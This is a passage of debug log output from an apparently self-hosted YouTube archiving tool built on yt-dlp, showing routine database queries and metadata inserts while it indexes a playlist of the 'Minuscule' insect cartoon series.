04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Valentine's Day / La Saint Valentin (Season 2)", "diIkW1_XW4A", 273, false, 5, "https://www.youtube.com/watch?v=diIkW1_XW4A", "/downloads/Miniscule Season 2/2015-02-12 Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2)/Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2) [diIkW1_XW4A].mp4", false, ~U[2015-02-12 16:10:51Z]] 22:15:33.865 [debug] QUERY OK source="sources" db=0.4ms idle=266.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:33.866 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:33.867 [debug] QUERY OK source="media_items" db=0.6ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89211] 22:15:33.867 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #y3HUthbHtHM/youtube video #y3HUthbHtHM [y3HUthbHtHM].NA", "id" => "y3HUthbHtHM", "original_url" => "https://www.youtube.com/watch?v=y3HUthbHtHM", "playlist_index" => 186, "title" => "youtube video #y3HUthbHtHM"} 22:15:33.868 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:33.869 [debug] Current batch of media processed. Will check again in 1000ms 22:15:34.870 [debug] Current batch of media processed. Will check again in 1000ms 22:15:35.871 [debug] Current batch of media processed. Will check again in 1000ms 22:15:36.872 [debug] Current batch of media processed. Will check again in 1000ms 22:15:37.873 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.25, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 368, "filename" => "/downloads/Miniscule Season 2/2014-11-14 Minuscule - The Ants ⧸ Les Fourmis (Season 2)/Minuscule - The Ants ⧸ Les Fourmis (Season 2) [AGek0XLmbLI].mp4", "id" => "AGek0XLmbLI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AGek0XLmbLI", "playlist_index" => 187, "timestamp" => 1415989901, "title" => "Minuscule - The Ants / Les Fourmis (Season 2)", "upload_date" => "20141114"} 22:15:37.874 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=702.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:37.875 [debug] QUERY OK source="sources" db=0.3ms idle=703.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:37.876 [debug] QUERY OK source="media_items" db=1.0ms idle=704.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-11-14 18:31:41Z], 5] 22:15:38.836 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Miniscule Season 2/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/9f/a09f9fa8aef5044ad287f9ad0fe3db474550db7652af5180d2a60d0c6682649f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:15:38.843 [debug] QUERY OK source="sources" db=0.3ms idle=968.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:38.844 [debug] QUERY OK source="sources" db=0.3ms idle=969.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.846 [debug] QUERY OK source="media_items" db=0.8ms idle=968.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-06 19:00:26Z], 5] 22:15:38.873 [debug] QUERY OK source="media_items" db=26.4ms idle=238.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Away all boarders! | S02E41\n00:11:05 | The Grocery Store Incident | S02E39\n00:14:36 | Turbo speed | S02E58\n00:18:01 | Trapped | S02E64\n00:21:43 | Twelve Angry Snails | S02E66\n00:25:16 | The Hat Of The Medusa | S02E17\n00:29:01 | Homeless | S02E02\n00:32:49 | The Chocolate Chase! | S02E19\n00:36:34 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule | 55' Compilation", "e3e20b20-39d7-468e-beae-99e79cf768fa", "SCmQ8PfbcOQ", 2459, false, 5, "https://www.youtube.com/watch?v=SCmQ8PfbcOQ", 8, "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].mp4", false, false, false, [], 1, ~U[2025-12-06 19:00:26Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Patatas Fritas | S02E21\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Away all boarders! | S02E41\n00:11:05 | The Grocery Store Incident | S02E39\n00:14:36 | Turbo speed | S02E58\n00:18:01 | Trapped | S02E64\n00:21:43 | Twelve Angry Snails | S02E66\n00:25:16 | The Hat Of The Medusa | S02E17\n00:29:01 | Homeless | S02E02\n00:32:49 | The Chocolate Chase! | S02E19\n00:36:34 | Mission : BBQ | S02E09\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Patatas #Fritas #wasps #universe #Tabasco #wasp #patrol #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Patatas Fritas 🍟 Minuscule | 55' Compilation", "SCmQ8PfbcOQ", 2459, false, 5, "https://www.youtube.com/watch?v=SCmQ8PfbcOQ", "/downloads/Miniscule Season 2/2025-12-06 Patatas Fritas 🍟 Minuscule | 55' Compilation/Patatas Fritas 🍟 Minuscule | 55' Compilation [SCmQ8PfbcOQ].mp4", false, ~U[2025-12-06 19:00:26Z]] 22:15:38.874 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=30.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.874 [debug] QUERY OK source="media_items" db=0.5ms idle=29.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 11:02:05Z], 5] 22:15:38.887 [debug] QUERY OK source="media_items" db=11.7ms idle=29.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | The Magic Fly | S03E15\n00:02:58 | At Full Speed | S03E22\n00:04:19 | He Who Laughs Last, laughs Longest | S03E12\n00:05:48 | Pea supper | S03E01\n00:07:17 | Webrizon | S03E02\n00:08:46 | A Christmas Apple | S03E04\n00:10:15 | Like A Cannon Ball | S03E03\n00:11:44 | A Pea In The Hand Is Worth... | S03E05\n00:13:17 | Glue | S03E06\n00:14:54 | The Wicked Web | S03E07\n00:16:23 | The Cruel Cow in The Meadow | S03E09\n00:17:53 | Need for Speed | S03E10\n00:19:22 | Sow The Wind And Reap The Storm | S03E11\n00:21:00 | Fly Swatter | S03E13\n00:22:29 | Mosquito Net | S03E14\n00:23:58 | The Doughnut | S03E16\n00:25:31 | Ant On The Rocks | S03E17\n00:27:02 | The Artist | S03E18\n00:28:47 | Telecanetic | S03E19\n00:30:16 | Chocolate Fly | S03E23\n00:31:45 | A Dream Of Speed | S03E24\n00:33:14 | The Sled and the Ant | S03E25\n00:34:43 | Blunder | S03E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Magic #Spider #Fly #Winner #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly 🚕 Minuscule Marathon✨ 50' Compilation", "d339a9bf-ec07-498f-a342-3cb36f0f87bc", "BdpBsxt6z5I", 2203, false, 5, "https://www.youtube.com/watch?v=BdpBsxt6z5I", 9, "/downloads/Miniscule Season 2/2025-11-20 Mad fly 🚕 Minuscule Marathon✨ 50' Compilation/Mad fly 🚕 Minuscule Marathon✨ 50' Compilation [BdpBsxt6z5I].mp4", false, false, false, [], 1, ~U[2025-11-20 11:02:05Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | The Magic Fly | S03E15\n00:02:58 | At Full Speed | S03E22\n00:04:19 | He Who Laughs Last, laughs Longest | S03E12\n00:05:48 | Pea supper | S03E01\n00:07:17 | Webrizon | S03E02\n00:08:46 | A Christmas Apple | S03E04\n00:10:15 | Like A Cannon Ball | S03E03\n00:11:44 | A Pea In The Hand Is Worth... | S03E05\n00:13:17 | Glue | S03E06\n00:14:54 | The Wicked Web | S03E07\n00:16:23 | The Cruel Cow in The Meadow | S03E09\n00:17:53 | Need for Speed | S03E10\n00:19:22 | Sow The Wind And Reap The Storm | S03E11\n00:21:00 | Fly Swatter | S03E13\n00:22:29 | Mosquito Net | S03E14\n00:23:58 | The Doughnut | S03E16\n00:25:31 | Ant On The Rocks | S03E17\n00:27:02 | The Artist | S03E18\n00:28:47 | Telecanetic | S03E19\n00:30:16 | Chocolate Fly | S03E23\n00:31:45 | A Dream Of Speed | S03E24\n00:33:14 | The Sled and the Ant | S03E25\n00:34:43 | Blunder | S03E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Magic #Spider #Fly #Winner #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly 🚕 Minuscule Marathon✨ 50' Compilation", "BdpBsxt6z5I", 2203, false, 5, "https://www.youtube.com/watch?v=BdpBsxt6z5I", "/downloads/Miniscule Season 2/2025-11-20 Mad fly 🚕 Minuscule Marathon✨ 50' Compilation/Mad fly 🚕 Minuscule Marathon✨ 50' Compilation [BdpBsxt6z5I].mp4", false, ~U[2025-11-20 11:02:05Z]] 22:15:38.887 [debug] QUERY OK source="sources" db=0.2ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.888 [debug] QUERY OK source="media_items" db=0.6ms idle=14.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-25 07:00:27Z], 5] 22:15:38.900 [debug] QUERY OK source="media_items" db=11.0ms idle=14.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | The Annoying Neighbor | S02E28\n00:14:16 | Mission : BBQ | S02E09\n00:18:02 | Acrobatics | S02E16\n00:21:47 | The Mosquito Of The Caribbean | S02E57\n00:25:33 | Trapped | S02E64\n00:29:15 | Zzz In The Metro | S02E53\n00:32:51 | Labyrinth | S02E69\n00:36:36 | The Monster Of The Haunted Swamp | S02E37\n00:40:07 | Gather More to Pollinate More | S02E32\n00:43:52 | Microzilla | S02E07\n00:47:38 | Honey Fly | S02E08\n00:51:28 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #mosquito #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule | 70' Compilation", "b18e273c-6242-48e0-9ec3-9bcd0fb9a759", "W4uAWoVZClM", 3337, false, 5, "https://www.youtube.com/watch?v=W4uAWoVZClM", 10, "/downloads/Miniscule Season 2/2025-11-25 Pollution | Minuscule | 70' Compilation/Pollution | Minuscule | 70' Compilation [W4uAWoVZClM].mp4", false, false, false, [], 1, ~U[2025-11-25 07:00:27Z], ~U[2025-12-12 05:15:38Z], ~U[2025-12-12 05:15:38Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pollution | S02E60\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | The Annoying Neighbor | S02E28\n00:14:16 | Mission : BBQ | S02E09\n00:18:02 | Acrobatics | S02E16\n00:21:47 | The Mosquito Of The Caribbean | S02E57\n00:25:33 | Trapped | S02E64\n00:29:15 | Zzz In The Metro | S02E53\n00:32:51 | Labyrinth | S02E69\n00:36:36 | The Monster Of The Haunted Swamp | S02E37\n00:40:07 | Gather More to Pollinate More | S02E32\n00:43:52 | Microzilla | S02E07\n00:47:38 | Honey Fly | S02E08\n00:51:28 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pollution #Mosquito #City #Noise #mosquito #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "Pollution | Minuscule | 70' Compilation", "W4uAWoVZClM", 3337, false, 5, "https://www.youtube.com/watch?v=W4uAWoVZClM", "/downloads/Miniscule Season 2/2025-11-25 Pollution | Minuscule | 70' Compilation/Pollution | Minuscule | 70' Compilation [W4uAWoVZClM].mp4", false, ~U[2025-11-25 07:00:27Z]] 22:15:38.901 [debug] QUERY OK source="sources" db=0.2ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:38.902 [debug] QUERY OK source="media_items" db=0.6ms idle=13.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-13 11:01:42Z], 5] 22:15:38.915 [debug] QUERY OK source="media_items" db=12.7ms idle=13.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Gather More to Pollinate More | S02E32\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Fly Hunting | S02E24\n00:11:04 | Turbo speed | S02E58\n00:14:29 | The Annoying Neighbor | S02E28\n00:18:05 | Away all boarders! | S02E41\n00:21:47 | Trapped | S02E64\n00:25:30 | The Grocery Store Incident | S02E39\n00:29:00 | Mission : BBQ | S02E09\n00:32:46 | The Butterfly Effect | S02E23\n00:36:08 | At Full Speed | S02E27\n00:39:52 | Hop On! | S02E25\n00:43:29 | If Only Lonely | S02E22\n00:47:15 | Zzz In The Metro | S02E53\n00:50:50 | Honey Fly | S02E08\n00:54:40 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#gather #pollinate #productivity #competition #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs 